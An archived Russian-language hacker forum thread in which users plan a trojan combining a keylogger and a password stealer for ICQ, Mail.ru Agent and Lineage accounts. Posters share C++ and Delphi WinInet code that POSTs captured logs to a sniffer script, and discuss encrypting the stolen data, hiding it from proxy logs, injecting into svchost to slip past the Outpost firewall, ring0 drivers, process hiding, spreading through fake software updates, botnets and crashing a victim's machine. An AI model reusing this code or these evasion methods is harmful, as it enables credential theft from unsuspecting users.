Просмотр полной версии : Есть идея!
Хай всем! Появилась интересная идея!
Хочу написать трой с функцией кей-логера и сканера пасов (ICQ, MAgent и т.п.)
Трой висит в мозгах в виде сервиса, кей логер пишет только нужные приложения, если юзер в онлайне (инет активен) через URL (POST`ом) логи пишутся через скрипт на левый сайтик, если юзер не в онлайне, тогда в файл.. Потом файлик отправляется опять же через POST на сайтик.. =)
Как идея? Прошу Ваши рецензии, бредовая идея или прога будет нужна народу?
Lesnoy_chelovek
16.01.2007, 13:41
По-моему слишком мудрёно, да и просекёт пользователь.
По-моему слишком мудрёно, да и просекёт пользователь.
Да ну.. Чего мудренного-то? =) Как он просечет? =)
Идея ничего! только нах, тебе пароли?
Врядли найдется юзер(с хорошим номерком и тп), который запустит у себя твой троянец! К тому же среди знающих у тебя вообще нет шансов его запихнуть!
А что ты будешь делать с кучей юзерских паролей например от мыла?
Раздавать =)
В необходимости кейлоггера сомневаюсь - разве что искать дочерние окна с названиями типа "password" и их пасти.
В идеале это нужно оставлять на компах общего пользования - в интернет-кафе, в кабинетах информатики итп. А так чтоб кто-то запустил - разве что джоинить с чем-то.
Идея ничего! только нах, тебе пароли?
Врядли найдется юзер(с хорошим номерком и тп), который запустит у себя твой троянец! К тому же среди знающих у тебя вообще нет шансов его запихнуть!
А что ты будешь делать с кучей юзерских паролей например от мыла?
Логично! Ну мыло это тоже.... Иногда в мыле встречаются интересные вещи (ОТ номеров и авторизации к WEB кошелькам до Инфы о состоянии счета в банке)
Хотя ты наверное прав.... Ладно не валидна тем....
Раздавать =)
В необходимости кейлоггера сомневаюсь - разве что искать дочерние окна с названиями типа "password" и их пасти.
В идеале это нужно оставлять на компах общего пользования - в интернет-кафе, в кабинетах информатики итп. А так чтоб кто-то запустил - разве что джоинить с чем-то.
Нах дочернии окна, не всегда инфа в них актуальная!
Hook! Скан активного приложения и снятие дампов с клавы... Хук еще никто не отменял! А GetWindowText не прокатит, имхо не всегда инфа за звездами актуальна! =)
Интеграция в какую-нить прогу в виде паразита и все... Спам о новой версии MAgent`а например... Ну а там... Новая версия делается тоже просто, HEX редактор и из 4.8 в 5.0 нефиг делать!
Драть можно не только пасы.. =)
Идея не нова -сам такое пишу - если хочешь стучи поговорим...
Нах дочернии окна, не всегда инфа в них актуальная!
Hook! Скан активного приложения и снятие дампов с клавы... Хук еще никто не отменял! А GetWindowText не прокатит, имхо не всегда инфа за звездами актуальна! =)
Интеграция в какую-нить прогу в виде паразита и все... Спам о новой версии MAgent`а например... Ну а там... Новая версия делается тоже просто, HEX редактор и из 4.8 в 5.0 нефиг делать!
Да! сейчас думаю актуально иметь ботнет(спам, ддос)! это полезней!
Идея не нова -сам такое пишу - если хочешь стучи поговорим...
Есть идея полутше - обьединится!
Как говоротся две головы хорошо, еще больше лутше!
К томуже тоже сейчас пишу что-то подобное! =)
Что б пассы от Lineage перла =)
Все хорошо, но будет много геморроя с отправкой спертых данных, щас даже самые ушастые юзеры понаставили файрволлов, во многие интегрирована проактивная защита. А вообще вещь будт полезная)
З.Ы. На чем пишешь кстати?
насчет перехвата поста идея ничего -- а с остальным вполне справится пинч
Все хорошо, но будет много геморроя с отправкой спертых данных, щас даже самые ушастые юзеры понаставили файрволлов, во многие интегрирована проактивная защита. А вообще вещь будт полезная)
З.Ы. На чем пишешь кстати?
Геммора нет! =) Есть могучие API функции HttpSendRequest и т.п. И метод POST, юзается Урл запрос.
Файрволу на него как правило пох... Если конечно это не супер пупер продвинутый мрандмауэр который цепляется к самой проге! Вернее делает анализ кто же запостил урл на какой-то сайт... =) Да и то маловероятно!
Пишу на Си++
насчет перехвата поста идея ничего -- а с остальным вполне справится пинч
Логично.. Но подумайте сами, чем чаще будут появляться трои, тем больше шансов хачить зверье! Имхо пока до антивиря доползет...
Все хорошо, но будет много геморроя с отправкой спертых данных, щас даже самые ушастые юзеры понаставили файрволлов, во многие интегрирована проактивная защита. А вообще вещь будт полезная)
З.Ы. На чем пишешь кстати?
С отправкой никаких проблем! либо как говорит darkf0x используя библиотеку wininet, можно также писать чисто на соксах! Либо использовать Битс(BITS)
Протокол для закачки обновлений для винды! фаеры это не блочат!!
насчет перехвата поста идея ничего -- а с остальным вполне справится пинч
Пинч/ксинч трои достаточно популярные и очень быстро попадают в базки для антивирей!
ИМХО новый трой лутше паленого старого!
С отправкой никаких проблем! либо как говорит darkf0x используя библиотеку wininet, можно также писать чисто на соксах! Либо использовать Битс(BITS)
Протокол для закачки обновлений для винды! фаеры это не блочат!!
Не.... Тут есть один нюанс! =( Если сокеты юзать, в случае с проксей нужно знать номер порта, IP прокси + реализация протокола (прокси)... А юзая апишные HTTP функция API как правило юзает настроечки браузеров по умолчанию! Что намного рульнее и не надо париться с определением портов и т.п. К тому же прокся может иметь авторизацию, при юзании сокетов, это тоже грабли имхо нужно инфу то эту брать откуда-то! =)
Не.... Тут есть один нюанс! =( Если сокеты юзать, в случае с проксей нужно знать номер порта, IP прокси + реализация протокола (прокси)... А юзая апишные HTTP функция API как правило юзает настроечки браузеров по умолчанию! Что намного рульнее и не надо париться с определением портов и т.п. К тому же прокся может иметь авторизацию, при юзании сокетов, это тоже грабли имхо нужно инфу то эту брать откуда-то! =)
Я каешь может чего-то не понимаю, но: зачем прокся между протрояненым юзером и снифером в сети?
Чтоб юзер не узнал куда уходят пакеты?
По моему если узер может(умеет) узнать(отслеживать)
пакеты, то прокся особым препятствием ему не станет!
А настройки браузеров не всегда правильные =)
WinInet здорово облегчает разработку, сокеты(согласен) выглядят более громозко и неуклюже!
Я каешь может чего-то не понимаю, но: зачем прокся между протрояненым юзером и снифером в сети?
Чтоб юзер не узнал куда уходят пакеты?
По моему если узер может(умеет) узнать(отслеживать)
пакеты, то прокся особым препятствием ему не станет!
А настройки браузеров не всегда правильные =)
WinInet здорово облегчает разработку, сокеты(согласен) выглядят более громозко и неуклюже!
юзер может сам по себе пользоваться проксей. что б юзать сокеты, нужно определить параметры этой прокси: ip, port.
юзер может сам по себе пользоваться проксей. что б юзать сокеты, нужно определить параметры этой прокси: ip, port.
Ну я и имел это ввиду в своем посте! =)
Просто юзер может сидеть в локале, а в инет лезть через проксю, которая стоит на серваке конторы.. =)
Я каешь может чего-то не понимаю, но: зачем прокся между протрояненым юзером и снифером в сети?
Чтоб юзер не узнал куда уходят пакеты?
По моему если узер может(умеет) узнать(отслеживать)
пакеты, то прокся особым препятствием ему не станет!
А настройки браузеров не всегда правильные =)
WinInet здорово облегчает разработку, сокеты(согласен) выглядят более громозко и неуклюже!
Пакеты пакетами... Если параметры урла шифровать (хоть банальным Xor`ом...) будет совсем надежно! Да и метод пост в логах прокси не выглядит устрашающе! В Get`е видна вся урл строчка, со всеми параметрами, тогда у юзера или админа могут появиться не хороши мысли, какого это у него идут транзакции на левый хост... Да еще PHP скрипт отрабатывает на левом хосте по этой урле! А POST для таких целей самое то!
Представлю на ваш суд пару реализаций
Реализация на C++(Borland) (сори за изврат, Visual Studio упала =))
!!пару раз не выполнялась, хз почему!!
//объявляем нужный нам модуль
#include <wininet.h>
#pragma comment(lib,"wininet.lib")
//данные
static TCHAR *hdr = ("Content-Type: application/x-www-form-urlencoded");
static TCHAR *frmdata = ("LOG=Test\r\n"); //лог для передачи
const
static TCHAR *AcceptType = ("Accept: */*");
//код
//создаем сессию
HINTERNET hSession = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NUL L,NULL,0);
//конектимся
HINTERNET hConnect = InternetConnect(hSession,"localhost",INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SER VICE_HTTP,0,0);
//создаем запрос
HINTERNET hRequest = HttpOpenRequest(hConnect,"POST","snif/snif.php",NULL,NULL,&AcceptType,0,0);
//отправляем его с нашими данными
HttpSendRequest(hRequest, hdr, strlen(hdr), frmdata, strlen(frmdata));
//подчищаем за собой
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
реализация на Delphi:
//данные
const
hdrs: string = 'Content-Type: application/x-www-form-urlencoded';
frmdata: string = 'LOG=TEST'#13#10;
var
hSession,hConnect,hRequest: HINTERNET;
AcceptType: LPStr;
//код
begin
//создаем сессию
hSession:= InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil, nil,0);
//коннектимся
hConnect:= InternetConnect(hSession,'localhost',INTERNET_DEFA ULT_HTTP_PORT,nil,nil,INTERNET_SERVICE_HTTP,0,0);
//устанавливаем тип приема
AcceptType := PChar('Accept: */*');
//создаем запрос
hRequest:= HttpOpenRequest(hConnect,'POST','snif/snif.php',nil,nil,@AcceptType,0,0);
//отправляем его
HttpSendRequest(hRequest,PChar(hdrs),Length(hdrs), PChar(frmdata),Length(frmdata));
// подчищаем за собой
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
NWREm1KS
18.01.2007, 00:16
Что б пассы от Lineage перла =)
Чувак напишеш прогу дай скатать)
и паааадробное описание как ей пользоваться :))
BlackCats
18.01.2007, 00:50
идея хорошая! и похвальная +) будет результат - постите.. ознакомимся =)
Представлю на ваш суд пару реализаций
Реализация на C++(Borland) (сори за изврат, Visual Studio упала =))
!!пару раз не выполнялась, хз почему!!
//объявляем нужный нам модуль
#include <wininet.h>
#pragma comment(lib,"wininet.lib")
//данные
static TCHAR *hdr = ("Content-Type: application/x-www-form-urlencoded");
static TCHAR *frmdata = ("LOG=Test\r\n"); //лог для передачи
const
static TCHAR *AcceptType = ("Accept: */*");
//код
//создаем сессию
HINTERNET hSession = InternetOpen(NULL,INTERNET_OPEN_TYPE_PRECONFIG,NUL L,NULL,0);
//конектимся
HINTERNET hConnect = InternetConnect(hSession,"localhost",INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SER VICE_HTTP,0,0);
//создаем запрос
HINTERNET hRequest = HttpOpenRequest(hConnect,"POST","snif/snif.php",NULL,NULL,&AcceptType,0,0);
//отправляем его с нашими данными
HttpSendRequest(hRequest, hdr, strlen(hdr), frmdata, strlen(frmdata));
//подчищаем за собой
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
реализация на Delphi:
//данные
const
hdrs: string = 'Content-Type: application/x-www-form-urlencoded';
frmdata: string = 'LOG=TEST'#13#10;
var
hSession,hConnect,hRequest: HINTERNET;
AcceptType: LPStr;
//код
begin
//создаем сессию
hSession:= InternetOpen(nil,INTERNET_OPEN_TYPE_PRECONFIG,nil, nil,0);
//коннектимся
hConnect:= InternetConnect(hSession,'localhost',INTERNET_DEFA ULT_HTTP_PORT,nil,nil,INTERNET_SERVICE_HTTP,0,0);
//устанавливаем тип приема
AcceptType := PChar('Accept: */*');
//создаем запрос
hRequest:= HttpOpenRequest(hConnect,'POST','snif/snif.php',nil,nil,@AcceptType,0,0);
//отправляем его
HttpSendRequest(hRequest,PChar(hdrs),Length(hdrs), PChar(frmdata),Length(frmdata));
// подчищаем за собой
InternetCloseHandle(hRequest);
InternetCloseHandle(hConnect);
InternetCloseHandle(hSession);
Хм... До ужаса знакомые исходники! =(
Тока почемуто проверок нихера нет на выполнения функций и нужно перед этим создать трид в каком нить процессе, который FireWall разрешает(svchost - например) и тогда совсем рулез будет!
И даже Файрволл пустит! =) Я как раз над этим сейчас и бьюсь..
Хм... До ужаса знакомые исходники! =(
Тока почемуто проверок нихера нет на выполнения функций и нужно перед этим создать трид в каком нить процессе, который FireWall разрешает(svchost - например) и тогда совсем рулез будет!
И даже Файрволл пустит! =) Я как раз над этим сейчас и бьюсь..
Пост - запрос надо шифровать полюбому, так как отправка болезненно реагирует на перенос строки($0D$0A), особенно если данные не статичны!
По исходнику: проверок нет - сделано на коленке минут за 10 =)
Есть один минус отправки - весь этот код юзает настройки у IE и если браузер не был использован для подключения к какому-нибудь серверу, что-то отправить будет не возможно!
Насчет обхода фаера идея хорошая! надо будет покопаться!
Пост - запрос надо шифровать полюбому, так как отправка болезненно реагирует на перенос строки($0D$0A), особенно если данные не статичны!
По исходнику: проверок нет - сделано на коленке минут за 10 =)
Есть один минус отправки - весь этот код юзает настройки у IE и если браузер не был использован для подключения к какому-нибудь серверу, что-то отправить будет не возможно!
Насчет обхода фаера идея хорошая! надо будет покопаться!
Мой трой который дерет пасы от MAgenta юзает HTTP функции.. Есть грабли с Файрволами! =( Нужно либо его мочить, либо обходить!
Геммора нет! =) Есть могучие API функции HttpSendRequest и т.п. И метод POST, юзается Урл запрос.
Файрволу на него как правило пох... Если конечно это не супер пупер продвинутый мрандмауэр который цепляется к самой проге! Вернее делает анализ кто же запостил урл на какой-то сайт... =) Да и то маловероятно!
Пишу на Си++
Файрволлы HttpSendRequest() перехватят. Я думаю нужно писать приложение которое будет мучать файрволл как раз таки из под ring0, тогда точн прокатит =)))))))
Файрволлы HttpSendRequest() перехватят. Я думаю нужно писать приложение которое будет мучать файрволл как раз таки из под ring0, тогда точн прокатит =)))))))
=) Угу.. А имеется опыть опуститься до ring-0?
Yahooo! Натянул я OutPost! =)))))) Методом POST через HTTP (API).... Отправляю без перехвата! =) Не видит он ни хера! Правда есть существенная проблема!!! Он **** отлавливает момент внедрения в чужой процесс кода! =(
Блин без написания dll и опускания до ring-0 не обойтись имхо! =( Мля...
Файрволлы HttpSendRequest() перехватят. Я думаю нужно писать приложение которое будет мучать файрволл как раз таки из под ring0, тогда точн прокатит =)))))))
Если не ошибаюсь, ring0 на некоторых машинах вызывает BSOD!
Если не ошибаюсь, ring0 на некоторых машинах вызывает BSOD!
ты хоть понял, что сказал?
Если не ошибаюсь, ring0 на некоторых машинах вызывает BSOD!
Ура! Удалось обойти OutPost правда тестил на 3-х тачилах только.... Но надеюсь что сия фишка действительно будет работать и против других файеров!
Короче спасает от всех напастей трой в виде сервиса!
Не совсем понятно почему? =) Но! Как ни странно когда
стартует сервис и создает свой Image в процессе svchost
OutPost на него просто кладет! =)))))
Что удивительно имхо эта хренотень (OutPost) имеет толпу хуков на системные вызовы WriteProccess в Kernel32! Не суть! А так как сервису (трою) удалось ломануться в чужой процесс, он без особых усилий отправляет мессаги в инет, имхо svchost является одним из разрешенных процессов, оно и понятно! =)
Не знаю как даная приблуда будет работать с другими антизаразами, но у меня пашет! Если подтвердится, что этот способ имеет право на жизнь, я напишу статейку с исходниками (все писалось на C++)
Если не ошибаюсь, ring0 на некоторых машинах вызывает BSOD!
ring-0 - Привилегия (супервизор) уровень системного ядра! На этом уровне можно делать с любым процессом что угодно! Не совсем понимаю что такое BSOD, но если все грамотно реализовать, то работать будет на ура! тока драйвер придется писать! =))) НА АсМЕ!!! Можно извратиться и на Си... Но.... Очень сомневаюсь! На самом деле можно найти дыры и без ring-0...
переходи на уровень подъядра.
ring-0 - Привилегия (супервизор) уровень системного ядра! На этом уровне можно делать с любым процессом что угодно! Не совсем понимаю что такое BSOD, но если все грамотно реализовать, то работать будет на ура! тока драйвер придется писать! =))) НА АсМЕ!!! Можно извратиться и на Си... Но.... Очень сомневаюсь! На самом деле можно найти дыры и без ring-0...
РИНГ НОЛЬ ХЭЭЭЭЭЭЭЭК
Если не ошибаюсь, ring0 на некоторых машинах вызывает BSOD!
Ринг Ноль там зохавал КТУЛХУ
ring-0 - Привилегия (супервизор) уровень системного ядра! На этом уровне можно делать с любым процессом что угодно! Не совсем понимаю что такое BSOD, но если все грамотно реализовать, то работать будет на ура! тока драйвер придется писать! =))) НА АсМЕ!!! Можно извратиться и на Си... Но.... Очень сомневаюсь! На самом деле можно найти дыры и без ring-0...
убейся об стену 17 раз, желательно с разбегу. по желанию - цианистый калий внутрь или прыннуть с балкона этажа где-нить 25-го. удачи
соедини попу и рот шлангом, а затем пукни.
Верьте в хэк, братья мои ( оминь )!
Я хэккер, и это мой монефест. Вы можете остановить индивидуум, но вы не можете остановить нас всех... в конце концов, мы же все одинаковые.
то будет с вами хэк виликие
нодеюсь богатство шеллкодесов всяческих не иссякнет. да при будет с нами сила в одэй.
~Dala$$~
20.01.2007, 02:16
Хуясебе кто на форуме нарисовался
Раздача трафки была что ли? Чо на форуме норкоманские топики?
Если не ошибаюсь, ring0 на некоторых машинах вызывает BSOD!
Если не ошибаюсь то под нулевым кольцом работают драйвера и т.п. на ВСЕХ машинах и ниче))))) Синий экран можно вызвать, достаточно легко, например исполнив код из под ring0:
__asm
{
xor eax, eax
mov eax, [eax]
}
Если не стоит правильная обработка исключений то, система погружается в даун)))
ring-0 - Привилегия (супервизор) уровень системного ядра! На этом уровне можно делать с любым процессом что угодно! Не совсем понимаю что такое BSOD, но если все грамотно реализовать, то работать будет на ура! тока драйвер придется писать! =))) НА АсМЕ!!! Можно извратиться и на Си... Но.... Очень сомневаюсь! На самом деле можно найти дыры и без ring-0...
На Си в 0 кольцо входить очень просто!!!Об этом мона даже в документах M$ прочесть!!!! А для Делфи у меня есть библиотека входа и непридетсчя даже очень парится!!!!
З.Ы. Че то в теме много реплик не по теме пошло :))))))
Если не ошибаюсь то под нулевым кольцом работают драйвера и т.п. на ВСЕХ машинах и ниче))))) Синий экран можно вызвать, достаточно легко, например исполнив код из под ring0:
__asm
{
xor eax, eax
mov eax, [eax]
}
Если не стоит правильная обработка исключений то, система погружается в даун)))
Об этом я и говорил!
Просто много в сети лежит исходников на асме(драйверов и тп) использующих ring0 в которых просто встроены подобные "ловушки от лохов"!
А то что системы падают в BSOD(blue screen of death) из-за кривой реализации - эт факт!
VaV - но иногда это и наруку, не всегда же нужно спереть инфу, может хоцца просто проучить надоедливого чела))
На Си в 0 кольцо входить очень просто!!!Об этом мона даже в документах M$ прочесть!!!! А для Делфи у меня есть библиотека входа и непридетсчя даже очень парится!!!!
call gate
Синий экран можно вызвать, достаточно легко, например исполнив код из под ring0:
__asm
{
xor eax, eax
mov eax, [eax]
}
Если не стоит правильная обработка исключений то, система погружается в даун)))
KeBugCheckEx(любой багчек,0,0,0,0);
Кстати, darkf0x, ченить новенькое удалось придумать по обходу брандмауэров, котоые юзают проактивную защиту?
ты хоть понял, что сказал?
для не верующих!
Система:
Windows XP SP1(сборка 2600) последнее обновление 1.5 года назад.
Используется как тестовая!
Данная система падает от использования ring0 для скрытия процесса в системе!
для не верующих!
Система:
Windows XP SP1(сборка 2600) последнее обновление 1.5 года назад.
Используется как тестовая!
Данная система падает от использования ring0 для скрытия процесса в системе!
Я не понимаю, процесс можно скрыть и НЕ входя в ring0. Подробнее WASM.RU =))
Я не понимаю, процесс можно скрыть и НЕ входя в ring0. Подробнее WASM.RU =))
Совершенно верно! Для етого есть перехват NtQuerySystemInfo!
А верхний пример лишь показывает, что машина может падать при входе в ring0!
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot